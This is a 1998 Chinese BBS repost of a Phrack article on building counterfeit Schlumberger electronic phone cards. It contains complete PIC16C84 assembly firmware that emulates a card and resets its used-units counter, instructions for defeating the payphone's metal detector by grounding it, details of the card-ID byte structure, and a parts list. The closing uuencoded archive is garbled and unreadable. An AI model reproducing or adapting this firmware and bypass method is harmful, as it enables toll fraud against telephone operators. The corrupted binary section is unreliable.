荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: BitMan (一位人), 信区: Hacker
标 题: [转载] hack电话卡的文章(二) xky (转寄)
发信站: 深大荔园晨风站 (Sun Apr 5 23:25:55 1998), 转信
【 以下文字转载自 BitMan 的信箱 】
【 原文由 BitMan.bbs@bbs.net.tsinghua.edu.cn 所发表 】
发信人: yuhj (勇@@闭关修炼GRE中), 信区: Hacker
标 题: hack电话卡的文章(二)
发信站: BBS 水木清华站 (Wed Sep 24 00:24:41 1997)
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 11 of 18
Electronic Telephone Cards: How to make your own!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(continued)
The Program:
~~~~~~~~~~~~
Well, when I saw this phile about the cards the first time, about a year
ago I quickly realized that this system is very unsecure and really
needs to be hacked. So, now I present you with a piece of software for
the PIC 16C84 RISC micro-controller from Microchip that will take care
of emulating the cards used by Schlumberger and others. This system is
to be found in Scandinavia (Sweden, Norway and Finland), Spain, France
and other countries. I do know that France probably needs some small
modifications for this to work, but I see no reason to as why it
shouldn't do so! For this to work, you need to have access to a PROM
burner which can handle the PIC 16C84, or you might just build one
yourself as I include some plans for that in the UUEncoded block to be
found at the end of this phile. First of all, you have to read off the
first 12 bytes of data from a valid card from the country you wish your
emulator to work in. This because I don't think it would be a good idea
to publish stolen card identities in Phrack. Then you simply enter those
12 bytes of data in the proper place in my program and compile it.
That's it... And since I happen to choose a version of the PIC with
internal Data EEPROM, that means that the first 12 locations of the Data
EEPROM should contain the card id bytes. As of today this code should
work smooth and fine, but maybe you'll need to modify it later on when
Schlumberger gets tired of my hack. But since the PIC is a very fast and
powerful micro-controller it might be quite hard for them to come up
with a solution to this problem. Let's have a look at the PIC Software!
(Note that the current version of Microchip's PICSTART 16B package is
unable to program the DATA EEPROM array in the 16C84 so if you are going
to use that one, use the other version of the source code which you'll
find in the UUEncoded part!).
.
==============================================================================
TITLE "ISO 7816 Synchronous Memory Card Emulator"
LIST P=PIC16C84, R=HEX
INCLUDE "PICREG.EQU"
; PIC16C84 I/O Pin Assignment List
CRD_CLK equ 0 ; RB0 + RA4 = Card Clock
CRD_DTA equ 0 ; RA0 = Card Data Output
CRD_RST equ 1 ; RB1 = Card Reset, Low-Active
CRD_WE equ 7 ; RB7 = Card Write-Enable, Hi-Active
; PIC16C84 RAM Register Assignments
CRD_ID equ 0x00c ; Smartcard ID, 12 bytes
FUSCNT equ 0x018 ; Fused units counter
BITCNT equ 0x019 ; Bitcounter
LOOPCNT equ 0x01a ; Loop Counter
EE_FLAG equ 0x01b ; EEPROM Write Flag
TEMP1 equ 0x01c ; Temporary Storage #1
TEMP2 equ 0x01d ; Temporary Storage #2
TEMP3 equ 0x01e ; Temporary Storage #3
TEMP4 equ 0x01f ; Temporary Storage #4
TEMP_W equ 0x02e ; Temporary W Save Address
TEMP_S equ 0x02f ; Temporary STATUS Save Address
org 0x2000 ; Chip ID Data
dw 042,042,042,042
org 0x2007 ; Configuration Fuses
dw B'00000001'
org 0x2100 ; Internal Data EEPROM Memory (Card ID!!!)
db 0x081,0x042,0x000,0x011,0x022,0x033
db 0x044,0x055,0x066,0x077,0x011,0x084
db 0x002 ; Default used up credits value
org PIC84 ; Reset-vector
goto INIT ; Jump to initialization routine
org INTVEC ; Interrupt-vector
push ; Save registers
call INTMAIN ; Call main interrupt routine
pop ; Restore registers
retfie ; return from interrupt & clear flag
org 0x010 ; Start address for init rout.
INIT bsf STATUS,RP0 ; Access register bank 1
clrwdt ; Clear watchdog timer
movlw B'11101000' ; OPTION reg. settings
movwf OPTION ; Store in OPTION register
movlw B'11111110' ; Set PORT A Tristate Latches
movwf TRISA ; Store in PORT A tristate register
movlw B'11111111' ; Set PORT B Tristate Latches
movwf TRISB ; Store in PORT B tristate register
bcf STATUS,RP0 ; Access register bank 0
clrf RTCC ; Clear RTCC
clrf PORTA ; Clear PORTA
clrf PORTB ; Clear PORTB
movlw 0d ; 13 bytes to copy
movwf LOOPCNT ; Store in LOOPCNT
movlw 0c ; Start storing at $0c in RAM
movwf FSR ; Store in FSR
clrf EEADR ; Start at EEPROM Address 0
EECOPY
bsf STATUS,RP0 ; Access register bank 1
bsf EECON1,RD ; Set EECON1 Read Data Flag
bcf STATUS,RP0 ; Access register bank 0
movfw EEDATA ; Read one byte of EEPROM Data
movwf INDIR ; Store in RAM pointed at by FSR
incf FSR ; Increase FSR pointer
incf EEADR ; Increase EEPROM Address Pointer
decfsz LOOPCNT,1 ; Decrease LOOPCNT until it's 0
goto EECOPY ; Go and get some more bytes!
bsf STATUS,RP0 ; Access register bank 1
bcf EECON1,EEIF ; Clear EEPROM Write Int. Flag
bcf EECON1,WREN ; EEPROM Write Disable
bcf STATUS,RP0 ; Access register bank 0
movlw B'10010000' ; Enable INT Interrupt
movwf INTCON ; Store in INTCON
MAIN bsf STATUS,RP0 ; Access register bank 1
btfsc EECON1,WR ; Check if EEPROM Write Flag Set
goto MAIN ; Skip if EEPROM Write is Completed
bcf EECON1,EEIF ; Reset Write Completion Flag
bcf EECON1,WREN ; EEPROM Write Disable
bcf STATUS,RP0 ; Access register bank 0
btfss EE_FLAG,LSB ; Check for EEPROM Write Flag
goto MAIN ; If not set, jump back and wait some more
clrf EE_FLAG ; Clear EEPROM Write Flag
movlw 0c ; Units is stored in byte $0c
movwf EEADR ; Store in EEPROM Address Counter
movfw FUSCNT ; Get fused units counter
movwf EEDATA ; Store in EEDATA
bsf STATUS,RP0 ; Access register bank 1
bsf EECON1,WREN ; EEPROM Write Enable
bcf INTCON,GIE ; Disable all interrupts
movlw 055 ; Magic Number #1 for EEPROM Write
movwf EECON2 ; Store in EECON2
movlw 0aa ; Magic Number #2 for EEPROM Write
movwf EECON2 ; Store in EECON2
bsf EECON1,WR ; Execute EEPROM Write
bsf INTCON,GIE ; Enable all interrupts again!
bcf STATUS,RP0 ; Access register bank 0
goto MAIN ; Program main loop!
INTMAIN btfsc INTCON,INTF ; Check for INT Interrupt
goto INTMAIN2 ; If set, jump to INTMAIN2
movlw B'00010000' ; Enable INT Interrupt
movwf INTCON ; Store in INTCON
return
INTMAIN2
bcf STATUS,RP0 ; Access register bank 0
bsf PORTA,CRD_DTA ; Set Data Output High
btfsc PORTB,CRD_RST ; Check if reset is low
goto NO_RST ; If not, skip reset sequence
movfw RTCC ; Get RTCC Value
movwf TEMP4 ; Store in TEMP4
clrf RTCC ; Clear RTCC
movlw 055 ; Subtract $55 from TEMP4
subwf TEMP4,0 ; to check for card reset....
bnz NO_RST2 ; If not zero, jump to NO_RST
movlw 02 ; Unused one has $02 in FUSCNT
movwf FUSCNT ; Store full value in FUSCNT
bsf EE_FLAG,LSB ; Set EEPROM Write Flag
NO_RST2 bcf INTCON,INTF ; Clear INT Interrupt Flag
return ; Mission Accomplished, return to sender
NO_RST movfw RTCC ; Get RTCC Value
movwf BITCNT ; Copy it to BITCNT
movwf TEMP1 ; Copy it to TEMP1
movwf TEMP2 ; Copy it to TEMP2
movlw 060 ; Load W with $60
subwf TEMP1,0 ; Subtract $60 from TEMP1
bz CREDIT ; If it is equal to $60
bc CREDIT ; or greater, then skip to units area
rrf TEMP2 ; Rotate TEMP2 one step right
rrf TEMP2 ; Rotate TEMP2 one step right
rrf TEMP2 ; Rotate TEMP2 one step right
movlw 0f ; Load W with $f
andwf TEMP2,1 ; And TEMP2 with W register
movfw TEMP2 ; Load W with TEMP2
addlw 0c ; Add W with $0c
movwf FSR ; Store data address in FSR
movfw INDIR ; Get data byte pointed at by FSR
movwf TEMP3 ; Store it in TEMP3
movlw 07 ; Load W with $07
andwf TEMP1,1 ; And TEMP1 with $07
bz NO_ROT ; If result is zero, skip shift loop
ROTLOOP rlf TEMP3 ; Shift TEMP3 one step left
decfsz TEMP1,1 ; Decrement TEMP1 until zero
goto ROTLOOP ; If not zero, repeat until it is!
NO_ROT btfss TEMP3,MSB ; Check if MSB of TEMP3 is set
bcf PORTA,CRD_DTA ; Clear Data Output
bcf INTCON,INTF ; Clear INT Interrupt Flag
return ; Mission Accomplished, return to sender
CREDIT btfss PORTB,CRD_WE ; Check if Card Write Enable is High
goto NO_WRT ; Abort write operation if not...
btfss PORTB,CRD_RST ; Check if Card Reset is High
goto NO_WRT ; Abort write operation if not...
incf FUSCNT ; Increase used-up units counter
bsf EE_FLAG,LSB ; Set EEPROM Write-Flag
bcf INTCON,INTF ; Clear INT Interrupt Flag
return ; Mission Accomplished, return to sender
NO_WRT movlw 060 ; Load W with $60
subwf BITCNT,1 ; Subtract $60 from BITCNT
movfw FUSCNT ; Load W with FUSCNT
subwf BITCNT,1 ; Subtract FUSCNT from BITCNT
bnc FUSED ; If result is negative, unit is fused
bcf PORTA,CRD_DTA ; Clear Data Output
FUSED bcf INTCON,INTF ; Clear INT Interrupt Flag
return ; Mission Accomplished, return to sender
END
==============================================================================
.
.
==============================================================================
; PIC16Cxx Micro-controller Include File
PIC54 equ 0x1ff ; PIC16C54 Reset Vector
PIC55 equ 0x1ff ; PIC16C55 Reset Vector
PIC56 equ 0x3ff ; PIC16C56 Reset Vector
PIC57 equ 0x7ff ; PIC16C57 Reset Vector
PIC71 equ 0x000 ; PIC16C71 Reset Vector
PIC84 equ 0x000 ; PIC16C84 Reset Vector
INTVEC equ 0x004 ; PIC16C71/84 Interrupt Vector
INDIR equ 0x000 ; Indirect File Reg Address Register
RTCC equ 0x001 ; Real Time Clock Counter
PCL equ 0x002 ; Program Counter Low Byte
STATUS equ 0x003 ; Status Register
FSR equ 0x004 ; File Select Register
PORTA equ 0x005 ; Port A I/O Register
PORTB equ 0x006 ; Port B I/O Register
PORTC equ 0x007 ; Port C I/O Register
ADCON0 equ 0x008 ; PIC16C71 A/D Control Reg 0
ADRES equ 0x009 ; PIC16C71 A/D Converter Result Register
EEDATA equ 0x008 ; PIC16C84 EEPROM Data Register
EEADR equ 0x009 ; PIC16C84 EEPROM Address Register
PCLATH equ 0x00a ; Program Counter High Bits
INTCON equ 0x00b ; Interrupt Control Register
TRISA equ 0x005 ; Port A I/O Direction Register
TRISB equ 0x006 ; Port B I/O Direction Register
TRISC equ 0x007 ; Port C I/O Direction Register
ADCON1 equ 0x008 ; PIC16C71 A/D Control Reg 1
EECON1 equ 0x008 ; PIC16C84 EEPROM Control Reg. 1
EECON2 equ 0x009 ; PIC16C84 EEPROM Control Reg. 2
OPTION equ 0x001 ; Option Register
MSB equ 0x007 ; Most-Significant Bit
LSB equ 0x000 ; Least-Significant Bit
TRUE equ 1
YES equ 1
FALSE equ 0
NO equ 0
; Status Register (f03) Bits
CARRY equ 0x000 ; Carry Bit
C equ 0x000 ; Carry Bit
DCARRY equ 0x001 ; Digit Carry Bit
DC equ 0x001 ; Digit Carry Bit
Z_BIT equ 0x002 ; Zero Bit
Z equ 0x002 ; Zero Bit
P_DOWN equ 0x003 ; Power Down Bit
PD equ 0x003 ; Power Down Bit
T_OUT equ 0x004 ; Watchdog Time-Out Bit
TO equ 0x004 ; Watchdog Time-Out Bit
RP0 equ 0x005 ; Register Page Select 0
RP1 equ 0x006 ; Register Page Select 1
IRP equ 0x007 ; Indirect Addressing Reg. Page Sel.
; INTCON Register (f0b) Bits
RBIF equ 0x000 ; RB Port change interrupt flag
INTF equ 0x001 ; INT Interrupt Flag
RTIF equ 0x002 ; RTCC Overflow Interrupt Flag
RBIE equ 0x003 ; RB Port Ch. Interrupt Enable
INTE equ 0x004 ; INT Interrupt Enable
RTIE equ 0x005 ; RTCC Overflow Int. Enable
ADIE equ 0x006 ; PIC16C71 A/D Int. Enable
EEIE equ 0x006 ; PIC16C84 EEPROM Write Int. Enable
GIE equ 0x007 ; Global Interrupt Enable
; OPTION Register (f81) Bits
PS0 equ 0x000 ; Prescaler Bit 0
PS1 equ 0x001 ; Prescaler Bit 1
PS2 equ 0x002 ; Prescaler Bit 2
PSA equ 0x003 ; Prescaler Assignment Bit
RTE equ 0x004 ; RTCC Signal Edge Select
RTS equ 0x005 ; RTCC Signal Source Select
INTEDG equ 0x006 ; Interrupt Edge Select
RBPU equ 0x007 ; Port B Pull-up Enable
; ADCON0 Register (f08) Bits
ADON equ 0x000 ; A/D Converter Power Switch
ADIF equ 0x001 ; A/D Conversion Interrupt Flag
ADGO equ 0x002 ; A/D Conversion Start Flag
CHS0 equ 0x003 ; A/D Converter Channel Select 0
CHS1 equ 0x004 ; A/D Converter Channel Select 1
ADCS0 equ 0x006 ; A/D Conversion Clock Select 0
ADCS1 equ 0x007 ; A/D Conversion Clock Select 0
; ADCON1 Register (f88) Bits
PCFG0 equ 0x000 ; RA0-RA3 Configuration Bit 0
PCFG1 equ 0x001 ; RA0-RA3 Configuration Bit 0
; EECON1 Register (f88) Bits
RD equ 0x000 ; PIC16C84 EEPROM Read Data Flag
WR equ 0x001 ; PIC16C84 EEPROM Write Data Flag
WREN equ 0x002 ; PIC16C84 EEPROM Write Enable Flag
WRERR equ 0x003 ; PIC16C84 EEPROM Write Error Flag
EEIF equ 0x004 ; PIC16C84 EEPROM Interrupt Flag
; Some useful macros...
PUSH macro
movwf TEMP_W
swapf STATUS,W
movwf TEMP_S
endm
POP macro
swapf TEMP_S,W
movwf STATUS
swapf TEMP_W
swapf TEMP_W,W
endm
END
==============================================================================
.
The Security System:
~~~~~~~~~~~~~~~~~~~~
The security of the Schlumberger card system depends strongly on two
things: the metal detector in the card reader which senses if there is
any metal on the card where there shouldn't be any metal. Circuit traces
on a home built card is definitively made of metal. So, we have to
figure out a way of getting around this problem... Well, that isn't
really too hard! They made one really big mistake: If the metal detector
is grounded, it doesn't work!! If you look at the printout of my layouts
for this card you'll find one big area of the board that is rectangle
shaped. In this area you should make a big blob of solder that is
between 2-3 millimeters high (approximately!). When the card slides into
the phone, the blob should be touching the metal detector and since the
blob is connected to ground the detector is also being grounded. The
phone also counts the number of times the metal detector gets triggered
by foreign objects in the card reader (Meaning that the phone companies
security staff can see if someone's attempting to use a fake card that
doesn't have this counter-measure on it!) and this is of course included
in the daily service report the phone sends to the central computer.
The second security lies in the cards first 12 bytes, it's not just what
it appears to be: a serial number, it's more than that. Part of the
first byte is a checksum of the number of 1's in the 11 bytes following
it. Then byte 2 is always $83, identifying the card as an electronic
phonecard. Byte 3 and 4 is the number of units on the card: The first
nibble of byte 3 is always $1 and then in the remaining three nibbles
the number of units is stored in BCD code, for example $11,$22 means 120
units (Two units is always fused at the factory as a test, see the text
by Stephane Bausson!) Then we have 4 bytes of card serial number data, 2
bytes of card checksum (calculated with a 16 bit key stored in the
payphone's ROM), 1 byte that is always $11, and then at last, byte 12
which is the country identifier.
The Parts Needed:
~~~~~~~~~~~~~~~~~
01 * PIC16C84, 4 MHz version, Surface Mounted (SOIC-18 Package)
01 * 4 MHz Ceramic Resonator, Surface Mounted
02 * 22 pF Capacitors, Surface Mounted (Size 1206).
01 * 0.8mm thick single sided circuit board with P20 photoresist
The Construction:
~~~~~~~~~~~~~~~~~
Since this project is obviously not intended for the novice in
electronics I will not go into the basic details of soldering/etching
circuit boards. If you do not know much of this, ask a friend who does
for help. If you want to reach me for help, write to Phrack and ask them
to forward the letter to me as I wish to remain anonymous - This project
will probably upset a lot of phone companies and last but not least the
guys at Schlumberger Tech.
The UUEncoded Part:
~~~~~~~~~~~~~~~~~~~
In this part of the phile you will find circuit board layouts for Tango
PCB as well as HP LaserJet binary files which will output the layout
when printed from DOS with the PRINT command.
You will also find another version of the source code to use if your PIC
programmer can't handle the programming of the 64 byte Data EEPROM
array.
<UUEncoded Part Begins Here>.
------------------------------------------------------------------------------
section 1 of uuencode 5.22 of file telecard.zip by R.E.M.
PK***蓟3餆**rr|?*MaF*p妭瑩-N(孖A9?*?>广*?/oU献*躕餡*?*? *s?4?,懀卻*閄
3B*链I%2?
*H[鉯+d?*L*0Nwo潗?',駨*t餡*﨡?*sB馵/A?**?#﹚1,*8鲗託**鐨?
e"*詄g}惮P皼oQNC瓮*?*买檅喗}樆揈/襼/惙e?#(*B**?2a霴巓^剡*靻袣z<澪tr?* 阸歠?*z?
傓骹留^Z*nc?>9^x?3*鶨?6X鄊栨(*?9e?~?%n?**砻%顋**锩滽芘*塥峓T?*夳糌?*儿=?*=ap?(
3?,?*苌?*?*b勓N.X*脕鲎蒌守$MVd]鎴?4*NWh{菁变蟸c?3髖h棼坄|麆CfrF窷i?*鼔+'躥
B(A1?&9鏸II?.㩳駠珀`?;j檌尣藏@巷ZZ2?"?+*?8絯鼔n*静E$aRI*?<GY欰?*?3*耫抍?"笍毉?
l?*a孮*+*K艻Y秂闏QN*I讇U?**
A螻帟臞蠯w**3K釢0銨%,,Q?*ln?8逧碠dW榷C4蹹?*(衮4q碝熲濔*鄱櫂桋?*Lg**:?<螤罃Yp]H
L*?*W幻蹑*q?9栗?2S充? L皃?*iN嵖兹8s?*扡紀褭?7t7殅D}3瑾? 胫儴[Ue*R5Cy?3
鶸鞹eA槬$┨翥苇 炵N'? *5熵y史*`T5"拨戒<榐珴`4rtK_溯+漋}U蕉I?+衛b.*<*誩?,*称犦*
蠻?*祯?*嚝鈁},儲?*?
玁琇(墎?7?*u}UVi皋?*謽*T号板
**8}a*匜*y?*kd*?'?*z?*?
?*x*3UH葓*?**q冤tm塉T* 僮骲_w唃,?=旽.馼剹*嵁奝譣脍p?*泉跭髮?**?摤?$<蚽?*S
U?
!Z??锇窺
罜?*僸U)昋xO?3a*皥總$? 胬鹌r壺>?w坔*`$*s乳u銑颃L(?*辰栊5Z暽*?*Z#挏?,*髑?,O?9谑
^鷿0鋧>撰萼?*趾jY诸惮瓝+o?*?m{3S穼匞?<*汲貝**=律1凁9*蚋駱?:俍警*&?+狹羃Q?*,>JI佸
殓8锰鋔~fZ準计誘*?*lp_哕iE櫩LW曡坚?*'躓㧐B6緅?*??-}獿Tlz*鶓LS躇",蘸h嵢c`8嚦
;*K3\}E 漫ggg谔w犿i>纨$烏*N?:譝2己?-澄$觚*鷐kp?**?%uN栠&扎隃^Ⅶ*?:兒蛆**誑&沞"
斷5鈅i*忤?*1*hH*.挎魩N庡]%餵"?5s琼?/颢睈鬞2朑zo浵?;燓lY娉茛*惰舷[鸧樝镛櫹棗
Zq~}q!H悢苣蚻4?4!螄s疳躰灀e浩)?!蓹愱*儚?A*痃B?o 傅醥*?*館*諳h鳬!*s?
悂ZP*?*:*?*p帣*C?=uCF灠??z辛_*?+?*?*莽^?* 多*ゝi0*?#甶蒊翙AS?)?*]u?*?*ズ?*
烇D:?*yW?8?"%,噽*)W*tx胂髀?.a穭U颐蒬j姏襀J*)軥_藍耷弧{縎~!?=o*LF?9窴序鑠顛?*?6Iq
?*?*~q***砻?*顋**锩?+芘*\?*w**w鈠m}?0CO*?(蕄灄刭nlG畿??蘘****衛Ybz秏譻軥*E6?
1Y**b劍议rc范?8o垠8Mc|酈)JT<梸R&鬠?**腽A搂&(!_*?*-*IqC???铛;$**C薛?*秫?(G墒
j{*6t*?5?5s#欽2蘠倃I髴"K!舞篤?+? F*?2U4*葀戽z*?* 妁*覮R(=;:訢/騒诗h眰┉駈
?6**(?*庎%啥*踖r_诙E,\Et 尙E*<X缨d+澾q*n?-*撻軣寘?3?1?*.s*?
呈崞?*仠?*)璳k*烰?*3楴?9?0细8b*喡Hl*?*m1X*+罫僟谊t崔?//h捷﹗*~桩賘?$&橑?*﹚M
-τrY^*蠟谉L?* 6辂CKC?,c?
*礘淌?*`Tvy猘x?7p*猸T4p蛚綫秤*送**?5朎Q崇?*~洈?=燕m℉Y戉h馶騃Reg梮?3宺,?*43'*kX*
怰*駾鴩枇*埾#?*媹*i誻_? 2?*Y畬? {N?2*B&34?9骩兓瘠q;V?=*rQ***菬*渾厝 ?&Zd*w
驿蟹锋?#yV,X咮*'|H**踉y报l*#侯实鋮歕?*?*J盈P*噪謪?85?)1覨螈燣?2繆蝦卹8?*⒂柀?
*O傐**砗?*鍺嵫*j%R3?$鏵*铓U炄;?**?<**逤Q蘒韭懃O饻?*('Z??+<﹠W)顨6螥樞?*[~g^#
?*?*t?35?,R暉鶢g糞mg?*/憍Mk森*O銲鴞CRk?9粀?捡噼鹂PK****顅琮鸆?=瀦[?-崣[~?1YT=%~
*寊*m慻華[鎦纟kx殇阵|懅夌?*?*樉m鹷<襹?**i>W*?**疛坵O?**?*?*8蓤\鸇?*雋?*W*燊?
YI?4R湫f╦M~L*米x僢4?*電妍啪7?:>?.*蜭?*!6Q鳥l=UF#郎剂萐Vb2讚?*s倚嫬邢*?K?
鍾渮ST殫*喑錒伾*翱?*<頃?>窂恴q?9Q&7悑9切炍?$*咓幆珫蕄朦?PK***h歠愳諞咿B*4?
NkD8喹<肋gqt艇4?
@薐***啢?4*~莯雝*鑃*\沭供搓A*?*/妻?91 ?6*谤唛d儏*?*?*st獲廽罞号4!翟R;W
E嗴鶄*惐
鎝q*觉*lt沃*s?*>侤韩?#?*s騘劎栝龍Tum*酋銤烠8_(e膣鄗(?2C柉*\*o膐*R灭誛?:Y赮
涥鱸筛n?+僵甅諞?:怅蛁x矋?*幏黗劒z戌*甆5騡**濞氕?(莏|硼臛濘?*.尌螅笷=;兙鮚?*
**~X餃<wIT*渼?*|?*冠7>瓽F擈徸)*?=?*OHu?*廠***K蒖关槸?=R*⒀]誢F?5U窖觡>*=*?
※ 转载:.深大荔园晨风站 bbs.szu.edu.cn.[FROM: 202.192.140.221]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店